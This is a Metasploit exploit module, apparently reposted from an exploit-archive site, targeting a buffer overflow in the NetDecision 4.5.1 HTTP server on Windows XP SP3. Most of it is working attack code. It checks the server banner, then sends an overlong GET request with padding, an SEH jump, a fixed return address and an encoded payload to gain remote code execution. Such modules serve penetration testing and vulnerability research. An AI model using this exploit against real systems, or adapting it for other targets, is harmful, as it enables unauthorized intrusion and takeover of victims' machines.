NetDecision 4.5.1 HTTP Server Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpClient
    def initialize(info={})
        super(update_info(info,
            'Name'           => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in NetDecision's HTTP service
                (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe).  By supplying a
                long string of data to the URL, an overflow may occur if the data gets handled
                by HTTP Server's active window.  In other words, in order to gain remote code
                execution, the victim is probably looking at HttpSvr's window.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Prabhu S Angadi',  #Discovery, DoS PoC
                    'sinn3r'            #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '79651'],
                    ['URL', 'http://secunia.com/advisories/48168/'],
                    ['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
                    'StackAdjustment' => -3500,
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "seh",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'NetDecision 4.5.1 on XP SP3',
                        {
                            # POP/POP/RET - OLEACC.dll
                            'Ret'    => 0x74C869E2,
                            'Offset' => 1620
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 24 2012",
            'DefaultTarget'  => 0))
    end
    def check
        res = send_request_cgi({'uri'=>'/'})
        banner = res.headers['Server']
        if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end
    def exploit
        buf = "/"
        buf << rand_text_alpha(675, payload_badchars)
        buf << pattern_create(5) #Avoid TerminateProcess()
        buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
        buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
        buf << [target.ret].pack('V*')
        buf << payload.encoded
        buf << rand_text_alpha(8000-buf.length, payload_badchars)
        print_status("#{rhost}:#{rport} - Sending #{self.name}...")
        send_request_raw({
            'method' => 'GET',
            'uri'    => buf
        })
        handler
    end
end



#  0day.today [2018-04-09]  #